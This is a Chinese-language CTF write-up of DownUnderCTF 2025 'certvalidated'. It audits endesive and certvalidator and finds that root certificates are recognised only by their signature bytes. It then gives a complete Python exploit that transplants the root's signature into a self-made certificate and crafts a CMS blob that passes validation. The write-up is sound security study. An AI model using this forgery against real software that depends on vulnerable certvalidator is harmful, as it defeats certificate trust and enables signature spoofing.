最近有对证书这方面的需求,正好 DownUnderCTF 2025 正好有这种题目,所以研究了一下
certvalidated
题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import base64from endesive import plainTO_SIGN = 'just a random hex string: af17a1f2654d3d40f532e314c7347cfaf24af12be4b43c5fc95f9fb98ce74601' DUCTF_ROOT_CA = open ('./root.crt' , 'rb' ).read() print (f'Sign this! <<{TO_SIGN} >>' )content_info = base64.b64decode(input ('Your CMS blob (base64): ' )) hashok, signatureok, certok = plain.verify(content_info, TO_SIGN.encode(), [DUCTF_ROOT_CA]) print (f'{hashok = } ' )print (f'{signatureok = } ' )print (f'{certok = } ' )if all ([hashok, signatureok, certok]): print (open ('flag.txt' , 'r' ).read())
其中 endesive 的版本是 2.18.5
问题非常简洁,核心逻辑如下:
加载信任根 :读取本地的 root.crt 作为信任锚点(Trust Anchor)。
生成挑战 :随机生成一个十六进制字符串 TO_SIGN。
接收输入 :接收用户上传的 Base64 编码的 CMS (Cryptographic Message Syntax) 签名包。
验证逻辑 :调用 endesive.plain.verify 进行验证,要求满足三个条件:
hashok: 数据哈希匹配(内容未被篡改)。
signatureok: 签名验证通过(数据确实由 CMS 中的证书签名)。
certok: 证书链必须受 root.crt 信任。
如果这三个布尔值都为 True,则输出 flag。
其中 hashok 和 signatureok 显然不是什么大问题,我们的核心就是如何绕过这个证书链验证实现伪造。
我们需要对 endesive 进行代码审计,可以发现 plain.verify 调用的是 class VerifyData,审计该函数可以发现验证被分为了两步:
签名验证 (signatureok) : 直接从 CMS 包中提取证书,取出公钥,验证数据的签名。
这里只验证“证书公钥”和“数据签名”是否匹配,不验证证书本身的合法性 。这意味着只要我们自己生成密钥对和证书,这一步必然通过。
信任链验证 (certok) : 调用 CertificateValidator 来验证证书路径。
1 2 3 4 5 6 7 8 9 10 11 12 validator = CertificateValidator( cert, othercerts, validation_context=self .context ) try : path = validator.validate_usage(set (["digital_signature" ])) certok = True except Exception as ex: print ("*" * 10 , "failed certificate verification:" , str (ex)) print ("cert.issuer:" , cert.native["tbs_certificate" ]["issuer" ]) print ("cert.subject:" , cert.native["tbs_certificate" ]["subject" ]) certok = False return (hashok, signatureok, certok)
而 CertificateValidator 来自 certvalidator 库,所以我们的核心就是对 certvalidator 进行代码审计。
查看 class CertificateValidator 发现内部使用 validate_usage 函数进行证书链验证,内部代码很短,就是
1 2 3 4 5 6 7 8 9 self ._validate_path()validate_usage( self ._context, self ._certificate, key_usage, extended_key_usage, extended_optional ) return self ._path
因此接下来我们要分析 _validate_pat
在 _validate_path 中,核心逻辑是构建证书路径 。如果没有合法的路径从待验证证书通向受信任的根证书,验证就会失败。
1 2 3 4 5 try : paths = self ._context.certificate_registry.build_paths(self ._certificate) except (PathBuildingError) as e:
如果 build_paths 成功返回了路径,接下来才会调用 validate_path 进行校验。因此,Path Building 是我们的下一个审计重点。
查看 build_paths,打开 certvalidator/registry.py。build_paths 初始化一个路径对象,然后调用 _walk_issuers。
1 2 3 4 5 6 def build_paths (self, end_entity_cert ): path = ValidationPath(end_entity_cert) self ._walk_issuers(path, paths, failed_paths)
核心是 _walk_issuers,这个函数负责向上查找父证书,直到找到信任锚(Trust Anchor)。
1 2 3 4 5 6 7 8 9 def _walk_issuers (self, path, paths, failed_paths ): """ ... stopping once the certificate in question is one contained within the CA certs list """ if path.first.signature in self ._ca_lookup: paths.append(path) return
注意这行代码:if path.first.signature in self._ca_lookup:。 它在判断当前证书是否为受信任的根证书时,仅仅检查了证书的签名(signature bytes)是否存在于 _ca_lookup 表中 。
这是一个非常危险的信号。正常情况下,判断一个证书是否是某个特定的 Root CA,应该比对它的 Subject 字段、公钥指纹(Fingerprint)或者完整的证书哈希。签名(Signature)只是证书的一部分数据 ,它本身并不代表身份。
为了确认这个猜想,我们需要看 CertificateRegistry.__init__ 是如何填充 _ca_lookup 的。
1 2 3 4 5 self ._ca_lookup = {}for trust_root in trust_roots: self ._ca_lookup[trust_root.signature] = True
可以发现,信任库确实是用“签名数据”作为 Key 来索引受信任证书的。
这时候如果我们构造一个证书 FakeCert:
它的内容(公钥、有效期等)是我自己填的。
但是我把它的 Signature Value 字段强行替换成 RootCert 的签名。
我们进行验签的话,当代码运行到 _walk_issuers 时,它读取 FakeCert.signature。
由于 FakeCert.signature == RootCert.signature ,所以其会认为 FakeCert.signature 在 _ca_lookup 中,从而判定 FakeCert 就是受信任的 RootCert。
当然还有最后一步,就是检查 validate.py,因为路径构建成功后,通常验证器还会对路径上的每个证书进行密码学验签。我们需要确认这种欺骗是否能通过后续的检查。
查看 validate_path 和 _validate_path,回到 certvalidator/validate.py。_validate_path 函数接收我们刚刚构建的“非法路径”。 假设我们的路径只包含一个证书:[FakeCert](因为它被误认为是根证书,所以它是路径的起点也是终点)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def _validate_path (validation_context, path, ... ): trust_anchor = path.first path_length = len (path) - 1 index = 1 last_index = len (path) - 1 while index <= last_index: cert = path[index]
因此:
X.509 验证逻辑中,信任锚(Trust Anchor) 本身是不需要验证签名的(因为它是信任的起点,通常是自签名的)。
由于 registry.py 的 bug,我们的 FakeCert 被当成了信任锚。
因此,validate.py 里的验签逻辑完全跳过了 对 FakeCert 自身的验证。
最终函数返回成功,verifier.py 里的 certok 变为 True。
最后我们来总结一下漏洞:
验证器通过比对 Signature Value (签名字节流) 来识别根证书,而不是比对证书指纹或公钥。如果攻击者伪造一个证书,将其签名部分替换为 root.crt 的签名,验证器就会误以为这个伪造证书就是系统里的根证书。
一旦验证器认为它是根证书(Trust Anchor),在随后的 validate.py 逻辑中,作为路径起点的根证书是不会验证其自身的签名的 (因为根证书通常是自签名的且被系统隐式信任)。
最后就是构造攻击了,根据题目我们要构造满足以下所有条件的 CMS 包:
满足 signatureok :
使用我们自己生成的 RSA 私钥对 TO_SIGN 进行签名。
CMS 中包含的证书必须携带对应的公钥。
满足 certok (欺骗 registry.py) :
伪造证书的 Subject 和 Issuer 必须与 root.crt 一致。
攻击核心 :将伪造证书序列化后,找到其签名部分,强制替换为 root.crt 的原始签名字节。
满足 validate_usage :
verifier.py 显式检查了 validate_usage(set(["digital_signature"]))。
伪造证书必须包含 KeyUsage 扩展,并开启 digital_signature 位,否则验证会抛出异常导致 certok=False。
然后就是构造这种证书了,伪造逻辑都有了,所以你只要把攻击方式告诉 ai 就好了,ai 就可以自动生成你需要的伪造代码了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 import base64import datetimefrom pwn import *from cryptography import x509from cryptography.hazmat.primitives import hashes, serializationfrom cryptography.hazmat.primitives.asymmetric import rsa, paddingfrom asn1crypto import cms, x509 as ax509conn = process(['python' , 'certvalidated.py' ]) def create_exploit_cert (subject, issuer, pub_key, priv_key ): """ 生成包含必要扩展的伪造证书 """ builder = x509.CertificateBuilder() builder = builder.subject_name(subject) builder = builder.issuer_name(issuer) builder = builder.not_valid_before(datetime.datetime.utcnow() - datetime.timedelta(days=1 )) builder = builder.not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365 )) builder = builder.serial_number(x509.random_serial_number()) builder = builder.public_key(pub_key) builder = builder.add_extension( x509.KeyUsage( digital_signature=True , content_commitment=False , key_encipherment=False , data_encipherment=False , key_agreement=False , key_cert_sign=True , crl_sign=True , encipher_only=False , decipher_only=False ), critical=True ) builder = builder.add_extension( x509.BasicConstraints(ca=True , path_length=None ), critical=True , ) cert = builder.sign(private_key=priv_key, algorithm=hashes.SHA256()) return cert def exploit (): print ("[*] Loading root.crt..." ) with open ('root.crt' , 'rb' ) as f: root_data = f.read() root_cert = x509.load_pem_x509_certificate(root_data) root_signature = root_cert.signature print (f"[*] Stealing Root Signature ({len (root_signature)} bytes)..." ) print ("[*] Generating attacker keys..." ) my_key = rsa.generate_private_key(public_exponent=65537 , key_size=2048 ) my_pub = my_key.public_key() print ("[*] Creating fake certificate..." ) fake_cert = create_exploit_cert(root_cert.subject, root_cert.issuer, my_pub, my_key) fake_cert_der = fake_cert.public_bytes(serialization.Encoding.DER) print ("[*] Transplanting signature..." ) fake_signature = fake_cert.signature if fake_signature not in fake_cert_der: print ("[-] Error: Could not locate signature bytes in DER. Exploit failed locally." ) return patched_cert_der = fake_cert_der.replace(fake_signature, root_signature) print ("[+] Signature transplanted successfully." ) print ("[*] Receiving challenge..." ) data = conn.recvuntil(b'Your CMS blob' ).decode() if '<<' not in data: print ("[-] Failed to find start marker '<<'" ) return hex_str = data.split('<<' )[1 ].split('>>' )[0 ] to_sign_bytes = hex_str.encode('utf-8' ) print (f"[*] Signing text: {to_sign_bytes} " ) signature = my_key.sign( to_sign_bytes, padding.PKCS1v15(), hashes.SHA256() ) fake_cert_obj = ax509.Certificate.load(patched_cert_der) signed_data = cms.SignedData({ 'version' : 'v1' , 'digest_algorithms' : [ {'algorithm' : 'sha256' , 'parameters' : None } ], 'encap_content_info' : { 'content_type' : 'data' , 'content' : to_sign_bytes }, 'certificates' : [ cms.CertificateChoices.load(patched_cert_der) ], 'signer_infos' : [ { 'version' : 'v1' , 'sid' : cms.IssuerAndSerialNumber({ 'issuer' : fake_cert_obj.issuer, 'serial_number' : fake_cert_obj.serial_number }), 'digest_algorithm' : { 'algorithm' : 'sha256' , 'parameters' : None }, 'signature_algorithm' : { 'algorithm' : 'sha256_rsa' , 'parameters' : None }, 'signature' : signature } ] }) content_info = cms.ContentInfo({ 'content_type' : 'signed_data' , 'content' : signed_data }) payload = base64.b64encode(content_info.dump()) print (f"[*] Sending payload ({len (payload)} bytes)..." ) conn.sendline(payload) conn.interactive() if __name__ == '__main__' : exploit()
现在的 endesive 版本已经是 2.19.2 了,对这个版本进行审计发现其已经不使用 certvalidator 了。